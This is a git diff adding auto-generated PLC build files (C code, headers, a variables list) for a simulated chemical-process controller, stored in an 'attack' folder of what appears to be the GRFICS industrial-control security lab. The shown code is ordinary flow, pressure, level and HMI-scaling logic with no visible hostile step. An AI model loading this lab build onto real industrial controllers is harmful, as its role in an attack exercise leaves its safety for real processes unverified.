__SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; 